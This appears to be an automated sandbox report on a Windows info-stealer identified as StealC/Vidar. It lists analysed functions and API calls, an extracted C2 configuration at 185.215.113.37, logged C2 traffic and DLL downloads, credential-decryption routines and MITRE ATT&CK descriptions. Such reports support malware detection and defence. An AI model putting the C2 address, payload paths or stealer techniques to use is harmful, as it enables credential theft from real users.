API String ID: 211194620-0
Opcode ID: 69e18691eb2841ce164fe6463e18864b1d5e028ff6ade1379ff44b6089d5cb14
Instruction ID: e42b111d403b0552267de93dd05744c127bf358b892ef47eedd58ea06dc56241
Opcode Fuzzy Hash: 69e18691eb2841ce164fe6463e18864b1d5e028ff6ade1379ff44b6089d5cb14
Instruction Fuzzy Hash: B0911D728501089BEB04FBA4DC92EEE73B8EF54304F5145A8F507B6192EF346B49DB62

Function 00B43560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 555de98875c8ac93e0e07573de2e3f9c2a2c9281e79e0ea5d23601f832215f74
Instruction ID: 8f2feee25484fd83456c66097030b7e1706c52992cb5e41fcf1cf624fca56872
Opcode Fuzzy Hash: 555de98875c8ac93e0e07573de2e3f9c2a2c9281e79e0ea5d23601f832215f74
Instruction Fuzzy Hash: A9414071D14209AFDB04EFA4D885AEEB7F8EF54704F048058E41676291EB34AB09DFA2

Function 00B494D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B494EB

Part of subcall function 00B48D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B4951E,00000000), ref: 00B48D5B
Part of subcall function 00B48D50: RtlAllocateHeap.NTDLL(00000000), ref: 00B48D62
Part of subcall function 00B48D50: wsprintfW.USER32 ref: 00B48D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00B495AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00B495C9
CloseHandle.KERNEL32(00000000), ref: 00B495D6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 1ff9f9a88fefb2631ed015606c64f5c59fd65384c0027bea60fc210d3f461e3b
Instruction ID: e5b81248cb6d1206638d3c9359bcc5bdc50d6298d47ce804fe494b313b446db7
Opcode Fuzzy Hash: 1ff9f9a88fefb2631ed015606c64f5c59fd65384c0027bea60fc210d3f461e3b
Instruction Fuzzy Hash: 22313E71E00308AFDF14DFD4CC49BEEB7B4FB54700F204559E50AAA284EB749A85DB52

Function 00B492E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B43AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B43AEE,?), ref: 00B492FC
GetFileSizeEx.KERNEL32(000000FF,00B43AEE), ref: 00B49319
CloseHandle.KERNEL32(000000FF), ref: 00B49327

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 668b30fd23f845faf1d34d9ea7aff8c68d4987c87088fa4ddc8c88c3cadeb831
Instruction ID: 045a4caaa7cc4b439a109aa388da550cfb35983a11dc27c8677f13648711f628
Opcode Fuzzy Hash: 668b30fd23f845faf1d34d9ea7aff8c68d4987c87088fa4ddc8c88c3cadeb831
Instruction Fuzzy Hash: CAF06434E00208ABDB14DFA4DC49B9E77F9AB88320F108294AA15E72C0E670AB409B54

Function 00B4C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B4C74E

Part of subcall function 00B4BF9F: __amsg_exit.LIBCMT ref: 00B4BFAF

__getptd.LIBCMT ref: 00B4C765
__amsg_exit.LIBCMT ref: 00B4C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00B4C797

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: a1cbc7d457f0895b7660c005abceb24a3d7dbaf80a4a118daf6d6ef2b3b3f55e
Instruction ID: 27c7226859dbaa0666ea31af5dd7e830ad58e0d8c6f089c96d603cf7dbc2237e
Opcode Fuzzy Hash: a1cbc7d457f0895b7660c005abceb24a3d7dbaf80a4a118daf6d6ef2b3b3f55e
Instruction Fuzzy Hash: 40F0B4329427009BDB61BBB85807F5D3BE0AF00B21F2041C9F604A72D2DF649F40BE5A

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.b30000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.b30000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B39B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00B39B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00B3C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B39AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00B39AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B37240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00B37240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B48EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00B48EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
